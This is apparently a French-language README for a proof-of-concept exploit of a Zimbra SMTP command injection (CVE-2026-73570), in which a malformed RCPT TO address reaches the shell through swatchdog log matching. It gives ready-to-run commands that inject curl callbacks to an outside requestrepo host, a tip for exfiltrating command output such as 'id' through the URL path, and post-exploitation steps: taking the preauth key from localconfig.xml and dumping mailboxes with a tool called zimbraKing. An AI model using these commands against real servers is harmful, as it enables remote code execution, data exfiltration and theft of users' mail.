
PoC Python pour CVE-2026-73570, une injection de commande SMTP dans Zimbra. Envoie des charges utiles RCPT TO malformées pour déclencher l'exécution de commandes shell via swatchdog, avec balayage de ports automatique et vérification OOB.
Un script Python proof-of-concept (PoC) personnalisé de bas niveau pour tester les vulnérabilités d'injection de commandes SMTP (CVE-2026-73570).
Cet outil envoie une adresse RCPT TO malformée contenant une substitution de commande de type shell (par exemple, $(command)) afin de déterminer si le serveur de messagerie cible ou son pipeline de traitement en aval transmet incorrectement l'adresse à un shell sans assainissement.
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Assurez-vous d'avoir l'autorisation explicite de tester l'infrastructure cible. L'analyse ou l'exploitation non autorisée de serveurs de messagerie est illégale.
Toutes les boîtes Zimbra ne sont pas vulnérables. Toutes ces conditions doivent être réunies :
zimbra-snmp est installé (souvent proposé lors de l'installation).snmp_notify).swatchdog est en cours d'exécution (activé par défaut).Surface d'attaque : L'attaque n'a pas besoin que SNMP (UDP/161/162) soit exposé à l'attaquant. L'entrée malveillante arrive via SMTP standard.
Le processus swatchdog suit le fichier /var/log/zimbra.log en utilisant la configuration de /opt/zimbra/conf/swatchrc.in. Il fait activement correspondre les entrées de journal à l'aide des expressions régulières suivantes :
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
Le groupe de capture (.*) est traité comme un nom de service. Le script dosnmp interpole ensuite ce texte capturé directement dans une commande Perl à apostrophes inverses snmptrap. Comme les apostrophes inverses Perl s'exécutent via le shell système, tous les métacaractères shell capturés dans (.*) sont évalués et exécutés.
Les attaquants font entrer le texte malveillant dans le journal en envoyant une commande SMTP (comme RCPT TO) dont l'argument ressemble à une véritable ligne de statut de service. Postfix journalise cela comme une syntaxe d'adresse illégale, mais swatchdog fait toujours correspondre l'expression régulière dans la ligne de journal et transmet la charge utile au shell.
smtplib standard de Python pour envoyer des charges utiles brutes non conformes RFC exactement comme le ferait un attaquant.--command.argparse pour une intégration facile dans les flux de travail de test.Enregistrez le script dans un fichier nommé CVE-2026-73570.py (ou tout autre nom de votre choix) :
# Exemple : télécharger ou créer le fichier
nano CVE-2026-73570.py
Vous pouvez exécuter le script de plusieurs manières selon votre scénario de test.
Si vous ne spécifiez pas de port, le script analysera les ports 25, 465 et 587, et ciblera automatiquement le premier port ouvert.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
Si vous connaissez déjà le port cible (par exemple, 465), vous pouvez éviter les conjectures d'analyse.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
Si vous souhaitez simplement vérifier quels ports de messagerie sont ouverts sur une cible sans envoyer la charge utile.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Argument | Court | Description | Défaut |
|---|---|---|---|
--host | -H | IP ou domaine de l'hôte cible. | 127.0.0.1 |
--port | -p | Port cible. Si omis, analyse 25, 465, 587 et cible un port ouvert. | None (Auto) |
--command | -c | Commande shell à injecter dans la charge utile SMTP. | TEST_PAYLOAD |
--scan-only | -s | Analyser uniquement les ports et quitter sans envoyer la charge utile d'injection. | False |
Exécuter le script seul prouve uniquement que le serveur de messagerie reçoit l'adresse RCPT TO malformée. Pour confirmer l'injection de commandes réelle sans avoir besoin d'un accès direct au système de fichiers ou aux journaux de la cible, utilisez un rappel hors bande (OOB) via HTTP.
http://xyz123.requestrepo.com).curl pour atteindre votre URL unique :
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
Astuce de pro (exfiltration de données) : Vous pouvez exfiltrer la sortie des commandes en l'injectant dans le chemin URL de votre rappel :
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Vérifiez votre tableau de bord Request Repo pour voir la sortie uid=0(root) dans le chemin demandé.
Pendant les tests, vous pouvez recevoir une réponse SMTP comme celle-ci :
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
Ne supposez PAS que la vulnérabilité a échoué simplement parce que l'adresse a été rejetée.
De nombreux serveurs de messagerie (comme Postfix ou Exim) acceptent syntaxiquement la charge utile pendant la transaction SMTP, mais rejettent immédiatement la tentative de livraison parce que le domaine/destinataire n'est pas dans leur liste de relais autorisée.
La vulnérabilité CVE-2026-73570 se déclenche après ce rejet. La chaîne malveillante circule dans /var/log/zimbra.log comme une entrée de journal de syntaxe d'adresse illégale. swatchdog suit ce journal, fait correspondre la charge utile et la transmet au shell.
Comme la charge utile atteint toujours ces systèmes backend pour la journalisation, la substitution de commande ($()) est toujours exécutée. Fiez-vous toujours à votre rappel hors bande (par exemple, Request Repo) pour vérifier le succès, quel que soit le code de réponse SMTP.
Une fois l'exécution de commandes obtenue via l'injection swatchdog, l'attaquant opère généralement en tant qu'utilisateur zimbra. À partir de là, l'objectif principal est souvent d'accéder aux données de la boîte aux lettres.
Pour faciliter cette étape suivante, vous pouvez utiliser zimbraKing — un outil personnalisé conçu pour vider les boîtes aux lettres Zimbra.
Scénario d'utilisation :
Pendant votre phase de post-exploitation, si vous êtes en mesure de lire les fichiers de configuration Zimbra et d'extraire la preAuthKey (généralement trouvée dans /opt/zimbra/conf/localconfig.xml sous la clé zimbra_preauth_key) ou si vous obtenez des identifiants de compte Zimbra valides, vous pouvez les fournir à zimbraKing.
L'outil exploite la preAuthKey ou les identifiants de compte pour s'authentifier auprès de l'API SOAP Zimbra et vider systématiquement le contenu de la boîte aux lettres cible sans avoir besoin d'interagir directement avec la base de données ou le système de fichiers sous-jacent.
smtplib ?Le smtplib intégré de Python applique des normes RFC strictes. Si vous essayez de passer une adresse contenant ", $, (, et ) via smtplib.sendmail(), la bibliothèque soit modifiera la chaîne pour la rendre « sûre », soit lèvera une exception SMTPRecipientsRefused avant que les données n'atteignent le réseau. Ce client personnalisé utilise des sockets bruts pour garantir la livraison octet par octet de la charge utile d'exploitation.